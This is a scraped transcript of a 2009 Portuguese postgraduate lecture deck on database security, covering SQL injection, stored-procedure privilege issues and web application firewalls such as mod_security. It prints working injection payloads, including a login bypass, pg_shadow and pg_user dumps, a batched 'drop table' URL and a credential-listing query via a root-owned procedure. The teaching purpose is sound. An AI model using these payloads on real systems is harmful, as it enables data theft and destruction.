segurança de aplicações e banco de dados gestão de...

40
Segurança de Aplicações e Banco de Dados Gestão de Segurança da Informação pós-graduação Lato Sensu Segurança de Banco de Dados ( SQL Injection, APBIDS, Modelagem ) Patrick Tracanelli Francisco Temponi FUMEC - 2009

Upload: others

Post on 13-Aug-2020

1 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

Segurança de Aplicações e Banco de Dados

Gestão de Segurança da Informaçãopós-graduação Lato Sensu

Segurança de Banco de Dados( SQL Injection, APBIDS, Modelagem )

Patrick TracanelliFrancisco Temponi

FUMEC - 2009

Page 2: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

Definição segundo a OWASP (Open Web Application Security Project), ISC^2 e Sans Security:

“SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to affect the execution of predefined SQL commands”

Portando a definição deixa claro:

SQL Injection é um problema de validação inadequada de entrada. Tal qual Code Injection e outras técnicas.

Page 3: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

SQL Injection se aplica apenas à ambiente Web?

Page 4: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

SQL Injection se aplica apenas à ambiente Web?

Não. Os target mais comuns em ordem de exploração, são:

Ambiente Web Stored Procedures Functions

Page 5: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

SQL Injection se aplica apenas à ambiente Web?

Não. Os target mais comuns em ordem de exploração, são:

Ambiente Web Stored Procedures Functions

As técnicas de exploração de Injeção SQL são 3:

Logical/Boolean-based blind

UNION query

Batched queries

Page 6: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

- Técnica de ataque “cego” baseado em lógica.- É o tipo mais comum.- Também conhecido como or 1=1 (e similares, tamanha simplicidade)

Page 7: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

- Técnica de ataque “cego” baseado em lógica.- É o tipo mais comum.- Também conhecido como or 1=1 (e similares, tamanha simplicidade)

- Por exemplo...

Page 8: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php

$u = $_POS T['us uario'];$p = $_POS T['s enha '];

$s ql = “S ELEC T * FR OM us uarios WHER E c odig o = '$u' AN D s enha = '$p'”;

? >

Page 9: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php

$u = $_POS T['us uario'];$p = $_POS T['s enha '];

$s ql = “S ELEC T * FR OM us uarios WHER E c odig o = '$u' AN D s enha = '$p'”;

? >

Na Web:

Page 10: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLIND

Consideremos o seguinte trecho de código (php):

<? php

$u = $_POS T['us uario'];$p = $_POS T['s enha '];

$s ql = “S ELEC T * FR OM us uarios WHER E us ername = '$u' AN D s enha = '$p'”;

? >

Na Web:

S ELEC T * FR OM us uarios WHE R E us ername = ' ' AN D s enha = ' ' or 1='1';

Page 11: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLINDComo identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?

Passo 1: A aplicação retorna erro de sintaxe no banco ao manipular a string de entrada artificialmente?

Se sim, a probabilidade dele não validar o input é enorme.

Passo 2: A aplicação sabe fazer matemática?

Exemplo: index.aspx?notid=2 e index.aspx?notid=1+1 retornam o mesmo conteúdo?

Passo 3: A aplicação sabe lógica?

Exemplo: index.aspx?notid=2+or+(+1=1+)

Page 12: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

LOGICAL / BOOLEAN-BASED BLINDComo identificar se uma aplicação, web site, procedure ou o que for, está vulnerável ao tipo de ataque número 1?

Passo 3: A aplicação sabe lógica?

Exemplo: index.aspx?notid=2+or+(+1=1+)

Se a resposta for SIM: INFORMATION LEAK

Se SIM: A aplicação executará tudo que receber na entrada.

A mais básica vulnerabilidade SQL Injection (e também uma das mais perigosas). Para obter a informação que você precisa, basta fazer a query correta (se o usuário do banco tiver acesso a ela).

Page 13: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONUNION QUERY

UNION QUERY: O input não validado executando outras queries.

Page 14: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONUNION QUERY

UNION QUERY: O input não validado executando outras queries.

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344 AND CardState='Active') AND UserName='Luiz Inacio Silva'

SELECT CCNum,CCType,CCExp,CCName FROM CreditCards WHERE (AccNum=11223344) UNION SELECT CCNum,CCType,CCExp,CCName WHERE 1=1 (AND CardState='Active') AND UserName='Luiz Inacio Silva'

Page 15: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONUNION QUERY

UNION QUERY: O input não validado executando outras queries.

index.aspx?id=111+or+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)

Não dá certo?

index.aspx?id=111+UNION+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)

Page 16: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONUNION QUERY

UNION QUERY: O input não validado executando outras queries.

index.aspx?id=111+or+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+=+0+)

Não dá certo?

index.aspx?id=111+UNION+(+(+select+usesysid+from+pg_shadow+limit+1+offset+1)+)

Problema com o número de colunas ao unir as queries?

“To NULL or not to NULL: that is the question”

...

Page 17: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONUNION QUERY

UNION INJECTION mais avançado:

UNION ALL SELECT NULL, CHR(83)||CHR(114)||CHR(108)||CHR(71)||CHR(86)||CHR(116)||COALESCE(CAST(usename AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usecreatedb AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usesuper AS CHARACTER(10000)), CHR(32))||CHR(104)||CHR(100)||CHR(122)||CHR(81)||CHR(121)||CHR(90)||COALESCE(CAST(usecatupd AS CHARACTER(10000)), CHR(32))||CHR(75)||CHR(121)||CHR(80)||CHR(65)||CHR(68)||CHR(102), NULL FROM pg_user­­

Page 18: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

BATCHED QUERIES

Page 19: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

BATCHED QUERIES

Page 20: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

BATCHED QUERIES

O irmão mais velho do Bobby Tables, John'); DROP current(); conseguiu uma namorada, a Ana, de sobre-mome ; drop table pg_shadow;

index.aspx?idd=111;+drop+table+pg_shadow+;

Page 21: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

O problema não é exclusivamente Web:

Procedure criada com usuário test no MySQL:

CREATE PROCEDURE sp_test (input varchar(100))begin

SET @id = input;SET @sql_text = concat(’SELECT text FROM

test_tbl where id=’,@id);PREPARE stmt FROM @sql_text;EXECUTE stmt;DEALLOCATE PREPARE stmt;

end

Page 22: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

O problema não é exclusivamente Web:

Procedure criada com usuário root do MySQL:

CREATE PROCEDURE sp_root (input varchar(100))begin

SET @id = input;SET @sql_text = concat(’SELECT text FROM

test_tbl where id=’,@id);PREPARE stmt FROM @sql_text;EXECUTE stmt;DEALLOCATE PREPARE stmt;

end

Page 23: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> select user();+—————-+|user()|+—————-+| test@localhost |+—————-+1 row in set (0.00 sec)

mysql> select user from mysql.user;ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’

mysql> call sp_test(’1 union all select concat(user,password) from mysql.user’);ERROR 1142 (42000): SELECT command denied to user ‘test’@'localhost’ for table ‘user’

Page 24: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Page 25: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:

Page 26: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;

Page 27: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;

2) Entendimento da aplicação.

Page 28: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;

2) Entendimento da aplicação.- Stored Procedure e Function tem poder de quem as cria, não de quem as executa,

no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?

Page 29: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕESmysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Os problemas aqui são 2:1) SQL Injection, técnica 2 – UNION – que você já reconhece;

2) Entendimento da aplicação.- Stored Procedure e Function tem poder de quem as cria, não de quem as executa,

no MySQL. E no Oracle? E no MS-SQL? E no PostgreSQL?

- Você conhecer o Invoker Security? Ou Invoker Rights no (Oracle)? O que o recurso faz?

Page 30: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTION

STORED PROCEDURES / FUNÇÕES

mysql> call sp_root(’-1 union all select user from mysql.user’);+———————————————————–+| text |+———————————————————–+| mysql || root || test || bsd-sys-dba || root |5 rows in set (0.00 sec)Query OK, 0 rows affected (0.00 sec)

Portanto do que vale criptografarStored Procedures e afins?

Segurança por obscuridade.Existe? É segurança?

Page 31: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDSQL INJECTIONFERRAMENTAS

Varredura semi-automatizada de SQL Injection, ferramenta de Penetration Tests que eu sugiro:

sqlmap (http://sqlmap.sourceforge.net) - Open Source

Page 32: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDAPPLICATION BASED

INTRUSION DETECTION SYSTEM(APBIDS)

O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia

- Passivo, Reativo, Preventivo

- Cognitivos- Passivo, Reativo, Preventivo

Page 33: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDAPPLICATION BASED

INTRUSION DETECTION SYSTEM(APBIDS)O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia

- Passivo, Reativo, Preventivo

- Cognitivos- Passivo, Reativo, Preventivo

Quais Existem?- Apache Web Server:

mod_security(tomcat, apache,jboss, mono, ...)

Page 34: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDAPPLICATION BASED

INTRUSION DETECTION SYSTEM(APBIDS)O que é um APBIDS?

Quais os Tipos?

Tal qual NIDS, HIDS, APBIDS se dividem em 2 tipos:- Baseados em Taxonomia

- Passivo, Reativo, Preventivo

- Cognitivos- Passivo, Reativo, Preventivo

Quais Existem?- Apache Web Server:

mod_security(tomcat, apache,jboss, mono, ...)

Microsoft IIS:- IIS-Guard- IIS-Ensafe ;-)

“o pulo do gato”

Page 35: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDmod_security

O que é o mod_security?

Um APBIDS baseado em Assinatura Taxonômica, para Apache Web Server e suítes afins (TomCat, Jacarta, etc).

Page 36: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDmod_security

Em um ambiente multi-camadas...

Exemplo abaixo ilustra o mod_security como solução de segurança server-side para home banking, especificamente do Blue Bank Europe.

http://www.modsecurity.org/documentation/Securing_Web_Services_with_ModSecurity_2.0.pdf

Page 37: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDmod_security

Como funciona?

Na prática...

Page 38: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDIIS-Ensafe

O que é?

Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??)

Page 39: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDIIS-Ensafe

O que é?

Criado pela FreeBSD Brasil LTDA (pela FreeBSD BR??)

- Apache Core + mod_proxy + mod_security

- 80% das funcionalidades originais do mod_security

- Faz uso da JWSCL API para implementar outros 11% das funcionalidades (mod_rewrite reescrito para o IIS com a JWCSL);

- Os outros 9%? A maior parte é típicamente de Unix;

Page 40: Segurança de Aplicações e Banco de Dados Gestão de ...tracanelli.com.br/l/docs/gsi/SADB/SABD-patrick.pdf · “SQL injection attacks are a type of injection attack, in which SQL

SABDPERGUNTAS?

??